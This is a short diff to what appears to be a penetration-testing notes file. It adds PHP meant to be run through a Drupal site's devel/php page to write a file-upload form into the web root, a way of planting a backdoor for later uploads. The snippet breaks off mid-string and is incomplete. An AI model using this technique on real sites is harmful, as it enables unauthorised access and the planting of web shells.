diff --git a/misc/php.md b/misc/php.md index c42c1b1..cbbde6d 100644 --- a/misc/php.md +++ b/misc/php.md @@ -1,5 +1,13 @@ ## PHP +Create a file upload page at drupal.site/devel/php +``` +$fp = fopen('/var/www/html/', 'w'); +fwrite($fp, '
Choose file